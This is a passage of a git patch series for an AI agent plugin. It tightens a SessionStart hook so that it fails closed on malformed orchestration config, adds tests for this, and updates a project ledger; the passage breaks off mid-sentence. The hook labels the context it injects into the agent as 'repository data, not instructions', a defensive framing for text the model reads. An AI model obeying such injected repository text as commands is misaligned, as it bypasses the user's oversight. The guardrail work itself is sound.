exist) and resolves the session branch through the shared `resolveWishBranch`: a `wish/<slug>` branch injects exactly that wish's status, base/ready task counts, its task cards, and the plan path; otherwise the session agent's claimed tasks (`GENIE_AGENT_ID`, name fallback); otherwise one compact `repo, branch, active wishes` line — never a listing. An absent/unreadable genie.db, an unsupported .git layout, a Node without `node:sqlite`, an Orca lifecycle authority (`orchestration.mode: "orca"` — the local database is never opened), or an unreadable/invalid orchestration config (fails closed the same way) degrades to a bounded wish-file scan (≤64 candidates/256 KiB), each cause logged distinguishably on stderr | Read-only filesystem + SQLite access, ≤2 KiB out | | H4 | `PreToolUse` | Verifies the definition-bound launcher, then runs branch/git-freeze checks for Bash and audit-context for Write/Edit/apply_patch | Deterministic local repository/Git reads only; no Codex network lookup, freshness/identity handler, Omni, install, update, global sync, or scaffolding | | H6 | `PermissionRequest` | Verifies the definition-bound launcher, applies the configured tool matcher, and invokes Omni once only when approvals are explicitly enabled | Bounded/redacted approval-queue state; timeout, interruption, malformed output, binding drift, and transport failure deny | diff --git a/plugins/genie/scripts/session-context.cjs b/plugins/genie/scripts/session-context.cjs index 9abdd3af1..4e7803c84 100755 --- a/plugins/genie/scripts/session-context.cjs +++ b/plugins/genie/scripts/session-context.cjs @@ -1,11 +1,11 @@ #!/usr/bin/env node -"use strict";var f=require("node:fs"),I=require("node:os"),a=require("node:path");var c=require("node:fs"),G="[a-z0-9][a-z0-9-]{0,63}",E=new RegExp(`^${G}$`);function y(t,n){let e=null;try{let s=(0,c.lstatSync)(t);if(!s.isFile()||s.isSymbolicLink()||s.size>n)return null;e=(0,c.openSync)(t,c.constants.O_RDONLY|c.constants.O_NOFOLLOW|c.constants.O_NONBLOCK);let o=(0,c.fstatSync)(e);if(!o.isFile()||o.size>n)return null;let i=Buffer.alloc(o.size),r=0;for(;r<i.byteLength;){let l=(0,c.readSync)(e,i,r,i.byteLength-r,r);if(l===0)break;r+=l}return i.subarray(0,r).toString("utf8")}catch{return null}finally{if(e!==null)try{(0,c.closeSync)(e)}catch{}}}function m(t,n,e){let s=null;try{let o=(0,c.lstatSync)(t);if(!o.isFile()||o.isSymbolicLink()||o.size>n)return null;s=(0,c.openSync)(t,c.constants.O_RDONLY|c.constants.O_NOFOLLOW|c.constants.O_NONBLOCK);let i=(0,c.fstatSync)(s);if(!i.isFile()||i.size>n)return null;let r=Buffer.alloc(Math.min(i.size,e)),l=0;for(;l<r.byteLength;){let g=(0,c.readSync)(s,r,l,r.byteLength-l,l);if(g===0)break;l+=g}return r.subarray(0,l).toString("utf8")}catch{return null}finally{if(s!==null)try{(0,c.closeSync)(s)}catch{}}}var F={"row-end":/^\|\s*\*\*Status\*\*\s*\|(\s*.*?\s*)\|\s*$/m,"first-pipe":/^\|\s*\*\*Status\*\*\s*\|(\s*[^|\n]*?\s*)\|/m},M=/^\*\*Status:\*\*(\s*.*)$/m;function v(t,n,e){let s=new RegExp(n,"gm");for(let o=s.exec(t);o!==null;o=s.exec(t)){if(!e||e(o[1]))return o[1].trim();s.lastIndex=o.index+1}return null}function k(t,n,e){return v(t,F[n].source,e)}function A(t,n){return v(t,M.source,n)}function D(t,n){let e=n.startsWith("wish/")?n.slice(5):null;if(!e)return null;if(t.includes(e))return{wish:e,group:null};for(let o of t)if(e.startsWith(`${o}-`)){let i=e.slice(o.length+1);if(i)return{wish:o,group:i}}let s=e.lastIndexOf("-");return s>0&&s<e.length-1?{wish:e.slice(0,s),group:e.slice(s+1)}:{wish:e,group:null}}var H=/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;function N(t){return typeof t=="string"&&H.test(t)}var L=2048,x=256*1024,C=4*1024,Y=64,X=32,w=64*1024,$=4*1024,q=24,z=new Set(["DRAFT","FIX-FIRST","APPROVED","IN_PROGRESS","BLOCKED"]),j=new Set(["blocked","ready","in_progress","done"]),K=new Set(["DRAFT","FIX-FIRST","APPROVED","IN_PROGRESS","BLOCKED","SHIPPED","DONE","EXECUTED","MERGED"]),V=/^\s*[A-Z_ -]+\s*$/,Z=/^\s*[A-Z_ -]/,J=/^[A-Z_ -]+/,W=/^[a-z0-9][a-z0-9-]{0,63}$/,Q=/^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/;function nn(){try{let t=[],n=0;for(;n<=w;){let r=Buffer.allocUnsafe(Math.min(16384,w+1-n)),l=(0,f.readSync)(0,r,0,r.byteLength,null);if(l===0)break;t.push(r.subarray(0,l)),n+=l}if(n>w)return{hookEventName:"SessionStart"};let e=Buffer.concat(t).toString("utf8").trim();if(!e)return{hookEventName:"SessionStart"};let s=JSON.parse(e);if(typeof s!="object"||s===null||Array.isArray(s))return{hookEventName:"SessionStart"};let o=s.hook_event_name,i=s.cwd;return{hookEventName:o==="SessionStart"?o:"SessionStart",cwd:typeof i=="string"&&(0,a.isAbsolute)(i)?i:void 0}}catch{return{hookEventName:"SessionStart"}}}function tn(t){let n=k(t,"first-pipe",s=>V.test(s))??void 0,e=A(t,s=>Z.test(s))?.match(J)?.[0];return(n??e)?.trim()??null}function B(t){let n=tn(t)?.split(/\s+[—-]\s+/)[0]?.trim();return n&&K.has(n)?n:null}function O(t){try{let n=(0,f.lstatSync)(t);return n.isDirectory()&&!n.isSymbolicLink()}catch{return!1}}function T(t){return O((0,a.join)(t,".genie"))&&O((0,a.join)(t,".genie","wishes"))}function en(t){let n=(0,a.join)(t,".genie","wishes");if(!T(t))return[];let e=[];try{let s=[],o=(0,f.opendirSync)(n);try{for(let i=0;i<Y;i++){let r=o.readSync();if(!r)break;r.isDirectory()&&!r.isSymbolicLink()&&E.test(r.name)&&s.push(r.name)}}finally{try{o.closeSync()}catch{}}s.sort();for(let i of s){let r=(0,a.join)(n,i,"WISH.md"),l=(0,f.existsSync)(r)?r:(0,a.join)(n,i,"wish.md");if(!(0,f.existsSync)(l))continue;let g=m(l,x,C);if(g===null)continue;let u=B(g);e.push({slug:i,status:u,active:u!==null&&z.has(u)})}}catch(s){process.stderr.write(`[session-context] unable to read wish state: ${s instanceof Error?s.message:String(s)} -`)}return e}function sn(t,n){let e=(0,a.join)(t,".genie","wishes");if(!T(t))return null;let s=(0,a.join)(e,n,"WISH.md"),o=(0,f.existsSync)(s)?s:(0,a.join)(e,n,"wish.md");if(!(0,f.existsSync)(o))return null;let i=m(o,x,C);return i===null?null:B(i)}function rn(t){try{let n=(0,f.lstatSync)((0,a.join)(t,".git"));if(n.isSymbolicLink())return null;if(n.isDirectory())return{kind:"dir",path:(0,a.join)(t,".git")};if(n.isFile())return{kind:"file",path:(0,a.join)(t,".git")}}catch{}return null}function on(t){let n=y(t,$);if(n===null)return null;let e=/^gitdir:\s*(.+?)\s*$/m.exec(n);if(!e)return null;let s=e[1];return(0,a.isAbsolute)(s)?s:(0,a.resolve)((0,a.dirname)(t),s)}function an(t){let n;try{n=(0,f.realpathSync)(t)}catch{n=(0,f.realpathSync)(process.cwd())}let e=n,s;for(let o=0;o<X;o++){!s&&T(n)&&(s=n);let i=rn(n);if(i){if(i.kind==="dir")return{root:n,gitDir:i.path,dbPath:(0,a.join)(n,".genie","genie.db"),dbUnavailableReason:null};let l=on(i.path);return l===null?{root:n,gitDir:null,dbPath:null,dbUnavailableReason:"unreadable .git pointer"}:(0,a.basename)((0,a.dirname)(l))==="worktrees"?{root:n,gitDir:l,dbPath:(0,a.join)((0,a.dirname)((0,a.dirname)((0,a.dirname)(l))),".genie","genie.db"),dbUnavailableReason:null}:{root:n,gitDir:l,dbPath:null,dbUnavailableReason:"external/separate git-dir layout"}}let r=(0,a.dirname)(n);if(r===n)break;n=r}return{root:s??e,gitDir:null,dbPath:null,dbUnavailableReason:"no repository root"}}function ln(t){let n=y((0,a.join)(t,"HEAD"),$);if(n===null)return null;let e=/^ref:\s*refs\/heads\/(\S+?)\s*$/m.exec(n);return e?e[1]:null}function un(){try{let t=require("node:sqlite");return typeof t.DatabaseSync=="function"?t:null}catch{return null}}function h(t){process.stderr.write(`[session-context] ${t} \u2014 falling back to wish-file scan -`)}function cn(){let t=process.env.GENIE_CONFIG_FILE??(0,a.join)(process.env.GENIE_HOME??(0,a.join)((0,I.homedir)(),".genie"),"config.json");try{if(!(0,f.existsSync)(t))return"standalone";let n=JSON.parse((0,f.readFileSync)(t,"utf8"));if(n===null||typeof n!="object")return"invalid";let e=n.orchestration;if(e===void 0)return"standalone";if(e===null||typeof e!="object")return"invalid";let s=e.mode;return s===void 0||s==="standalone"?"standalone":s==="orca"?"orca":"invalid"}catch{return"invalid"}}function dn(t){if(t===null)return{db:null,reason:null};let n=cn();if(n==="orca")return h("genie.db not opened \u2014 Orca is the selected lifecycle authority"),{db:null,reason:"Orca is the selected lifecycle authority"};if(n==="invalid")return h("genie.db not opened \u2014 orchestration authority config is unreadable"),{db:null,reason:"orchestration authority unreadable"};if(!(0,f.existsSync)(t))return h(`genie.db absent at ${t}`),{db:null,reason:"genie.db absent"};let e=un();if(e===null)return h("node:sqlite unavailable (minimum Node 22.13)"),{db:null,reason:"no sqlite driver"};try{let s=new e.DatabaseSync(t,{readOnly:!0});try{s.exec?.("PRAGMA busy_timeout = 2000")}catch{}return{db:s,reason:null}}catch(s){return h(`genie.db unreadable at ${t}: ${s instanceof Error?s.message:String(s)}`),{db:null,reason:"genie.db unreadable"}}}function p(t){try{t?.close()}catch{}}function fn(t){if(typeof t!="object"||t===null)return null;let n=t;if(!Q.test(n.id)||!j.has(n.status))return null;let e=n.group_name;return e!=null&&!W.test(e)?null:{id:n.id,status:n.status,group:e??null}}function P(t){let n=[];for(let e of t.slice(0,q)){let s=fn(e);s&&n.push(s)}return n}function gn(t){return t.prepare(`SELECT wish FROM ( +"use strict";var f=require("node:fs"),I=require("node:os"),a=require("node:path");var c=require("node:fs"),G="[a-z0-9][a-z0-9-]{0,63}",y=new RegExp(`^${G}$`);function E(t,n){let e=null;try{let s=(0,c.lstatSync)(t);if(!s.isFile()||s.isSymbolicLink()||s.size>n)return null;e=(0,c.openSync)(t,c.constants.O_RDONLY|c.constants.O_NOFOLLOW|c.constants.O_NONBLOCK);let i=(0,c.fstatSync)(e);if(!i.isFile()||i.size>n)return null;let o=Buffer.alloc(i.size),r=0;for(;r<o.byteLength;){let l=(0,c.readSync)(e,o,r,o.byteLength-r,r);if(l===0)break;r+=l}return o.subarray(0,r).toString("utf8")}catch{return null}finally{if(e!==null)try{(0,c.closeSync)(e)}catch{}}}function m(t,n,e){let s=null;try{let i=(0,c.lstatSync)(t);if(!i.isFile()||i.isSymbolicLink()||i.size>n)return null;s=(0,c.openSync)(t,c.constants.O_RDONLY|c.constants.O_NOFOLLOW|c.constants.O_NONBLOCK);let o=(0,c.fstatSync)(s);if(!o.isFile()||o.size>n)return null;let r=Buffer.alloc(Math.min(o.size,e)),l=0;for(;l<r.byteLength;){let g=(0,c.readSync)(s,r,l,r.byteLength-l,l);if(g===0)break;l+=g}return r.subarray(0,l).toString("utf8")}catch{return null}finally{if(s!==null)try{(0,c.closeSync)(s)}catch{}}}var F={"row-end":/^\|\s*\*\*Status\*\*\s*\|(\s*.*?\s*)\|\s*$/m,"first-pipe":/^\|\s*\*\*Status\*\*\s*\|(\s*[^|\n]*?\s*)\|/m},M=/^\*\*Status:\*\*(\s*.*)$/m;function k(t,n,e){let s=new RegExp(n,"gm");for(let i=s.exec(t);i!==null;i=s.exec(t)){if(!e||e(i[1]))return i[1].trim();s.lastIndex=i.index+1}return null}function v(t,n,e){return k(t,F[n].source,e)}function A(t,n){return k(t,M.source,n)}function D(t,n){let e=n.startsWith("wish/")?n.slice(5):null;if(!e)return null;if(t.includes(e))return{wish:e,group:null};for(let i of t)if(e.startsWith(`${i}-`)){let o=e.slice(i.length+1);if(o)return{wish:i,group:o}}let s=e.lastIndexOf("-");return s>0&&s<e.length-1?{wish:e.slice(0,s),group:e.slice(s+1)}:{wish:e,group:null}}var H=/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;function L(t){return typeof t=="string"&&H.test(t)}var N=2048,x=256*1024,$=4*1024,Y=64,X=32,w=64*1024,C=4*1024,j=24,q=new Set(["DRAFT","FIX-FIRST","APPROVED","IN_PROGRESS","BLOCKED"]),z=new Set(["blocked","ready","in_progress","done"]),K=new Set(["DRAFT","FIX-FIRST","APPROVED","IN_PROGRESS","BLOCKED","SHIPPED","DONE","EXECUTED","MERGED"]),V=/^\s*[A-Z_ -]+\s*$/,Z=/^\s*[A-Z_ -]/,J=/^[A-Z_ -]+/,W=/^[a-z0-9][a-z0-9-]{0,63}$/,Q=/^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/;function nn(){try{let t=[],n=0;for(;n<=w;){let r=Buffer.allocUnsafe(Math.min(16384,w+1-n)),l=(0,f.readSync)(0,r,0,r.byteLength,null);if(l===0)break;t.push(r.subarray(0,l)),n+=l}if(n>w)return{hookEventName:"SessionStart"};let e=Buffer.concat(t).toString("utf8").trim();if(!e)return{hookEventName:"SessionStart"};let s=JSON.parse(e);if(typeof s!="object"||s===null||Array.isArray(s))return{hookEventName:"SessionStart"};let i=s.hook_event_name,o=s.cwd;return{hookEventName:i==="SessionStart"?i:"SessionStart",cwd:typeof o=="string"&&(0,a.isAbsolute)(o)?o:void 0}}catch{return{hookEventName:"SessionStart"}}}function tn(t){let n=v(t,"first-pipe",s=>V.test(s))??void 0,e=A(t,s=>Z.test(s))?.match(J)?.[0];return(n??e)?.trim()??null}function B(t){let n=tn(t)?.split(/\s+[—-]\s+/)[0]?.trim();return n&&K.has(n)?n:null}function O(t){try{let n=(0,f.lstatSync)(t);return n.isDirectory()&&!n.isSymbolicLink()}catch{return!1}}function T(t){return O((0,a.join)(t,".genie"))&&O((0,a.join)(t,".genie","wishes"))}function en(t){let n=(0,a.join)(t,".genie","wishes");if(!T(t))return[];let e=[];try{let s=[],i=(0,f.opendirSync)(n);try{for(let o=0;o<Y;o++){let r=i.readSync();if(!r)break;r.isDirectory()&&!r.isSymbolicLink()&&y.test(r.name)&&s.push(r.name)}}finally{try{i.closeSync()}catch{}}s.sort();for(let o of s){let r=(0,a.join)(n,o,"WISH.md"),l=(0,f.existsSync)(r)?r:(0,a.join)(n,o,"wish.md");if(!(0,f.existsSync)(l))continue;let g=m(l,x,$);if(g===null)continue;let u=B(g);e.push({slug:o,status:u,active:u!==null&&q.has(u)})}}catch(s){process.stderr.write(`[session-context] unable to read wish state: ${s instanceof Error?s.message:String(s)} +`)}return e}function sn(t,n){let e=(0,a.join)(t,".genie","wishes");if(!T(t))return null;let s=(0,a.join)(e,n,"WISH.md"),i=(0,f.existsSync)(s)?s:(0,a.join)(e,n,"wish.md");if(!(0,f.existsSync)(i))return null;let o=m(i,x,$);return o===null?null:B(o)}function rn(t){try{let n=(0,f.lstatSync)((0,a.join)(t,".git"));if(n.isSymbolicLink())return null;if(n.isDirectory())return{kind:"dir",path:(0,a.join)(t,".git")};if(n.isFile())return{kind:"file",path:(0,a.join)(t,".git")}}catch{}return null}function on(t){let n=E(t,C);if(n===null)return null;let e=/^gitdir:\s*(.+?)\s*$/m.exec(n);if(!e)return null;let s=e[1];return(0,a.isAbsolute)(s)?s:(0,a.resolve)((0,a.dirname)(t),s)}function an(t){let n;try{n=(0,f.realpathSync)(t)}catch{n=(0,f.realpathSync)(process.cwd())}let e=n,s;for(let i=0;i<X;i++){!s&&T(n)&&(s=n);let o=rn(n);if(o){if(o.kind==="dir")return{root:n,gitDir:o.path,dbPath:(0,a.join)(n,".genie","genie.db"),dbUnavailableReason:null};let l=on(o.path);return l===null?{root:n,gitDir:null,dbPath:null,dbUnavailableReason:"unreadable .git pointer"}:(0,a.basename)((0,a.dirname)(l))==="worktrees"?{root:n,gitDir:l,dbPath:(0,a.join)((0,a.dirname)((0,a.dirname)((0,a.dirname)(l))),".genie","genie.db"),dbUnavailableReason:null}:{root:n,gitDir:l,dbPath:null,dbUnavailableReason:"external/separate git-dir layout"}}let r=(0,a.dirname)(n);if(r===n)break;n=r}return{root:s??e,gitDir:null,dbPath:null,dbUnavailableReason:"no repository root"}}function ln(t){let n=E((0,a.join)(t,"HEAD"),C);if(n===null)return null;let e=/^ref:\s*refs\/heads\/(\S+?)\s*$/m.exec(n);return e?e[1]:null}function un(){try{let t=require("node:sqlite");return typeof t.DatabaseSync=="function"?t:null}catch{return null}}function h(t){process.stderr.write(`[session-context] ${t} \u2014 falling back to wish-file scan +`)}function cn(){let t=(0,a.join)(process.env.GENIE_HOME??(0,a.join)((0,I.homedir)(),".genie"),"config.json");try{if(!(0,f.existsSync)(t))return"standalone";let n=JSON.parse((0,f.readFileSync)(t,"utf8"));if(n===null||typeof n!="object"||Array.isArray(n))return"invalid";let e=n.orchestration;if(e===void 0)return"standalone";if(e===null||typeof e!="object"||Array.isArray(e))return"invalid";let s=Object.keys(e);if(s.length!==1||s[0]!=="mode")return"invalid";let i=e.mode;return i==="standalone"?"standalone":i==="orca"?"orca":"invalid"}catch{return"invalid"}}function dn(t){if(t===null)return{db:null,reason:null};let n=cn();if(n==="orca")return h("genie.db not opened \u2014 Orca is the selected lifecycle authority"),{db:null,reason:"Orca is the selected lifecycle authority"};if(n==="invalid")return h("genie.db not opened \u2014 orchestration authority config is unreadable"),{db:null,reason:"orchestration authority unreadable"};if(!(0,f.existsSync)(t))return h(`genie.db absent at ${t}`),{db:null,reason:"genie.db absent"};let e=un();if(e===null)return h("node:sqlite unavailable (minimum Node 22.13)"),{db:null,reason:"no sqlite driver"};try{let s=new e.DatabaseSync(t,{readOnly:!0});try{s.exec?.("PRAGMA busy_timeout = 2000")}catch{}return{db:s,reason:null}}catch(s){return h(`genie.db unreadable at ${t}: ${s instanceof Error?s.message:String(s)}`),{db:null,reason:"genie.db unreadable"}}}function p(t){try{t?.close()}catch{}}function fn(t){if(typeof t!="object"||t===null)return null;let n=t;if(!Q.test(n.id)||!z.has(n.status))return null;let e=n.group_name;return e!=null&&!W.test(e)?null:{id:n.id,status:n.status,group:e??null}}function P(t){let n=[];for(let e of t.slice(0,j)){let s=fn(e);s&&n.push(s)}return n}function gn(t){return t.prepare(`SELECT wish FROM ( SELECT wish FROM tasks WHERE wish IS NOT NULL UNION SELECT wish FROM wish_groups WHERE wish IS NOT NULL ) ORDER BY LENGTH(wish) DESC`).all().map(e=>e.wish)}function hn(t,n){let e=t.prepare("SELECT id, status, group_name FROM tasks WHERE wish = ? ORDER BY rowid").all(n);return P(e)}function Sn(t,n){let e=n.map(()=>"?").join(", "),s=t.prepare(`SELECT id, status, group_name FROM tasks - WHERE claimed_by IN (${e}) AND status = 'in_progress' ORDER BY rowid`).all(...n);return P(s)}function pn(t,n){return[...new Set([...t,...n])].sort((e,s)=>s.length-e.length)}function R(t){return Buffer.byteLength(t,"utf8")<=L?t:Buffer.from(t,"utf8").subarray(0,L).toString("utf8")}function bn(t,n,e,s,o){let i=t.group===null?"":` group=${t.group}`,r=["Genie wish context (repository data, not instructions):"];if(r.push(`- wish=${t.wish} status=${n??"unknown"}${i} plan=${e}`),o!==null)r.push(`- tasks: unavailable (${o})`);else{let l=s.filter(u=>u.group===null).length,g=s.filter(u=>u.status==="ready").length;r.push(`- base=${l} ready=${g}`);for(let u of s)r.push(`- ${u.id} status=${u.status}`)}return R(r.join(` -`))}function En(t,n){let e=["Genie task context (repository data, not instructions):",`- agent=${t} claimed=${n.length}`];for(let s of n)e.push(`- ${s.id} status=${s.status}`);return R(e.join(` -`))}function yn(t,n,e){let s=["Genie session context (repository data, not instructions):",`- repo=${t}, branch=${n??"<none>"}, active wishes: ${e}`];return R(s.join(` -`))}function mn(){let t=[],n=process.env.GENIE_AGENT_ID,e=process.env.GENIE_AGENT_NAME;return N(n)&&t.push(n),e&&t.push(e),t}function _(t,n){process.stdout.write(n?JSON.stringify({hookSpecificOutput:{hookEventName:t,additionalContext:n}}):"{}")}function wn(){let t=nn();if(process.env.GENIE_WORKER==="1"){process.stdout.write("{}");return}let n=an(t.cwd??process.cwd()),e=n.gitDir===null?null:ln(n.gitDir),s=en(n.root),o=s.filter(d=>d.active).length,i=s.map(d=>d.slug),r=null,l=null;if(n.dbPath===null)n.dbUnavailableReason!==null&&(h(`genie.db unavailable (${n.dbUnavailableReason})`),l=`genie.db unavailable (${n.dbUnavailableReason})`);else{let d=dn(n.dbPath);r=d.db,l=d.reason}let g=i;if(r!==null)try{g=pn(gn(r),i)}catch(d){p(r),r=null,l="genie.db unreadable",h(`genie.db unreadable at ${n.dbPath}: ${d instanceof Error?d.message:String(d)}`)}let u=e===null?null:D(g,e);if(u!==null&&g.includes(u.wish)&&E.test(u.wish)&&(u.group===null||W.test(u.group))&&u!==null){let d=[];if(r!==null)try{let S=hn(r,u.wish);d=u.group===null?S:S.filter(U=>U.group===u.group)}catch(S){p(r),r=null,l="genie.db unreadable",h(`genie.db unreadable at ${n.dbPath}: ${S instanceof Error?S.message:String(S)}`)}_(t.hookEventName,bn(u,sn(n.root,u.wish),`.genie/wishes/${u.wish}/WISH.md`,d,l)),p(r);return}let b=mn();if(r!==null&&b.length>0)try{let d=Sn(r,b);if(d.length>0){_(t.hookEventName,En(b[0],d)),p(r);return}}catch(d){p(r),r=null,h(`genie.db unreadable at ${n.dbPath}: ${d instanceof Error?d.message:String(d)}`)}p(r),_(t.hookEventName,yn((0,a.basename)(n.root),e,o))}typeof require<"u"&&require.main===module&&wn(); + WHERE claimed_by IN (${e}) AND status = 'in_progress' ORDER BY rowid`).all(...n);return P(s)}function pn(t,n){return[...new Set([...t,...n])].sort((e,s)=>s.length-e.length)}function R(t){return Buffer.byteLength(t,"utf8")<=N?t:Buffer.from(t,"utf8").subarray(0,N).toString("utf8")}function bn(t,n,e,s,i){let o=t.group===null?"":` group=${t.group}`,r=["Genie wish context (repository data, not instructions):"];if(r.push(`- wish=${t.wish} status=${n??"unknown"}${o} plan=${e}`),i!==null)r.push(`- tasks: unavailable (${i})`);else{let l=s.filter(u=>u.group===null).length,g=s.filter(u=>u.status==="ready").length;r.push(`- base=${l} ready=${g}`);for(let u of s)r.push(`- ${u.id} status=${u.status}`)}return R(r.join(` +`))}function yn(t,n){let e=["Genie task context (repository data, not instructions):",`- agent=${t} claimed=${n.length}`];for(let s of n)e.push(`- ${s.id} status=${s.status}`);return R(e.join(` +`))}function En(t,n,e){let s=["Genie session context (repository data, not instructions):",`- repo=${t}, branch=${n??"<none>"}, active wishes: ${e}`];return R(s.join(` +`))}function mn(){let t=[],n=process.env.GENIE_AGENT_ID,e=process.env.GENIE_AGENT_NAME;return L(n)&&t.push(n),e&&t.push(e),t}function _(t,n){process.stdout.write(n?JSON.stringify({hookSpecificOutput:{hookEventName:t,additionalContext:n}}):"{}")}function wn(){let t=nn();if(process.env.GENIE_WORKER==="1"){process.stdout.write("{}");return}let n=an(t.cwd??process.cwd()),e=n.gitDir===null?null:ln(n.gitDir),s=en(n.root),i=s.filter(d=>d.active).length,o=s.map(d=>d.slug),r=null,l=null;if(n.dbPath===null)n.dbUnavailableReason!==null&&(h(`genie.db unavailable (${n.dbUnavailableReason})`),l=`genie.db unavailable (${n.dbUnavailableReason})`);else{let d=dn(n.dbPath);r=d.db,l=d.reason}let g=o;if(r!==null)try{g=pn(gn(r),o)}catch(d){p(r),r=null,l="genie.db unreadable",h(`genie.db unreadable at ${n.dbPath}: ${d instanceof Error?d.message:String(d)}`)}let u=e===null?null:D(g,e);if(u!==null&&g.includes(u.wish)&&y.test(u.wish)&&(u.group===null||W.test(u.group))&&u!==null){let d=[];if(r!==null)try{let S=hn(r,u.wish);d=u.group===null?S:S.filter(U=>U.group===u.group)}catch(S){p(r),r=null,l="genie.db unreadable",h(`genie.db unreadable at ${n.dbPath}: ${S instanceof Error?S.message:String(S)}`)}_(t.hookEventName,bn(u,sn(n.root,u.wish),`.genie/wishes/${u.wish}/WISH.md`,d,l)),p(r);return}let b=mn();if(r!==null&&b.length>0)try{let d=Sn(r,b);if(d.length>0){_(t.hookEventName,yn(b[0],d)),p(r);return}}catch(d){p(r),r=null,h(`genie.db unreadable at ${n.dbPath}: ${d instanceof Error?d.message:String(d)}`)}p(r),_(t.hookEventName,En((0,a.basename)(n.root),e,i))}typeof require<"u"&&require.main===module&&wn(); diff --git a/plugins/genie/scripts/src/session-context.ts b/plugins/genie/scripts/src/session-context.ts index 3e09e16eb..e940cd13c 100644 --- a/plugins/genie/scripts/src/session-context.ts +++ b/plugins/genie/scripts/src/session-context.ts @@ -354,9 +354,10 @@ interface OpenSessionDbResult { type LifecycleAuthority = 'standalone' | 'orca' | 'invalid'; /** - * Self-contained read of the orchestration authority (`~/.genie/config.json` + * Self-contained read of the orchestration authority (`$GENIE_HOME/config.json` * → `orchestration.mode`). The hook bundle is plain Node and cannot share the - * CLI's zod-backed resolver, so it mirrors the contract instead: standalone is + * CLI's zod-backed resolver (`src/lib/orchestration-mode.ts`), so it mirrors + * that strict schema exactly — the barrier fixture asserts both agree: standalone is * the default, `orca` hands lifecycle authority to Orca, and anything * unreadable or unrecognized fails CLOSED — the local lifecycle DB is never * opened on a guess. In Orca mode every lifecycle DB path must refuse before @@ -364,17 +365,21 @@ type LifecycleAuthority = 'standalone' | 'orca' | 'invalid'; * more often than any CLI command, so it is the path that matters most. */ function readLifecycleAuthority(): LifecycleAuthority { - const configPath = - process.env.GENIE_CONFIG_FILE ?? join(process.env.GENIE_HOME ?? join(homedir(), '.genie'), 'config.json'); + // Same path the CLI resolves (`getGenieConfigPath()`): `$GENIE_HOME/config.json`. + const configPath = join(process.env.GENIE_HOME ?? join(homedir(), '.genie'), 'config.json'); try { if (!existsSync(configPath)) return 'standalone'; const parsed = JSON.parse(readFileSync(configPath, 'utf8')) as unknown; - if (parsed === null || typeof parsed !== 'object') return 'invalid'; + if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) return 'invalid'; const orchestration = (parsed as { orchestration?: unknown }).orchestration; if (orchestration === undefined) return 'standalone'; - if (orchestration === null || typeof orchestration !== 'object') return 'invalid'; + // Mirror of the CLI's strict schema: `{ mode: 'standalone' | 'orca' }`, no + // other keys, mode required. Anything else is invalid there and here. + if (orchestration === null || typeof orchestration !== 'object' || Array.isArray(orchestration)) return 'invalid'; + const keys = Object.keys(orchestration as object); + if (keys.length !== 1 || keys[0] !== 'mode') return 'invalid'; const mode = (orchestration as { mode?: unknown }).mode; - if (mode === undefined || mode === 'standalone') return 'standalone'; + if (mode === 'standalone') return 'standalone'; return mode === 'orca' ? 'orca' : 'invalid'; } catch { return 'invalid'; diff --git a/src/lib/v5/authority-barriers.test.ts b/src/lib/v5/authority-barriers.test.ts index 48093cac8..f25772784 100644 --- a/src/lib/v5/authority-barriers.test.ts +++ b/src/lib/v5/authority-barriers.test.ts @@ -220,10 +220,27 @@ describe('Orca authority barriers', () => { expect(orca.stderr).toContain('Orca is the selected lifecycle authority'); expect(orca.sidecars).toEqual([]); - // Malformed authority config fails closed the same way — never a guess. - const invalid = await run('{ not json'); - expect(invalid.exitCode).toBe(0); - expect(invalid.stderr).toContain('orchestration authority config is unreadable'); - expect(invalid.sidecars).toEqual([]); + // Every shape the CLI's strict schema rejects fails closed here too — + // never a guess, and never a fail-open divergence between the two readers. + for (const config of [ + '{ not json', + JSON.stringify({ orchestration: {} }), + JSON.stringify({ orchestration: { mode: 'standalone', extra: 1 } }), + JSON.stringify({ orchestration: { mode: 'kraken' } }), + JSON.stringify({ orchestration: null }), + JSON.stringify([]), + ]) { + const invalid = await run(config); + expect(invalid.exitCode, config).toBe(0); + expect(invalid.stderr, config).toContain('orchestration authority config is unreadable'); + expect(invalid.sidecars, config).toEqual([]); + } + + // And the shapes the CLI accepts as standalone still open the database. + for (const config of [JSON.stringify({}), JSON.stringify({ orchestration: { mode: 'standalone' } })]) { + const standalone = await run(config); + expect(standalone.exitCode, config).toBe(0); + expect(standalone.stderr, config).not.toContain('not opened'); + } }); }); From baf75a5da36680a257c5953ec677023d78452697 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 23:16:29 -0300 Subject: [PATCH 41/45] docs(wish): record re-review #2 SHIP and the promotion gate for #2817 (#2839) Orchestrator ledger write: re-review #2 evidence block (pinned 0d0641f97, SHIP, zero CRITICAL/HIGH, 3984 tests), disposition tense refreshed, #2838 noted, and the human promotion sequence (#2822 + #2833 to main first, then #2817 merge commit; SHIPPED only after merge + on-host dogfood). Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- .genie/INDEX.md | 2 +- .../genie-dual-mode-orca-plugin/WISH.md | 23 +++++++++++++++++-- 2 files changed, 22 insertions(+), 3 deletions(-) diff --git a/.genie/INDEX.md b/.genie/INDEX.md index 0514406be..234aca9e0 100644 --- a/.genie/INDEX.md +++ b/.genie/INDEX.md @@ -32,7 +32,7 @@ ## Poured -- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **IN_PROGRESS** (plan APPROVED/SHIP 2026-08-29 design digest `2499668e…`; A1–A7 merged to dev #2808–#2820). Rolling promotion #2817 dev→main: review #0 at `eccf0ae4a` FIX-FIRST (6 HIGH, 0 CRITICAL) → fixes #2821/#2823/#2824/#2825/#2826/#2827/#2829/#2830/#2834 merged; re-review #1 at `f45d634b8` FIX-FIRST (all prior HIGHs closed, 3983 tests pass; one new HIGH H7 — SessionStart hook opened genie.db under Orca authority → #2835; M12/M15 → #2836). Main-side hotfixes awaiting human merge: #2822 (ninth version field), #2833 (dogfood harness accepts retired Codex route — why v5.260830.x never 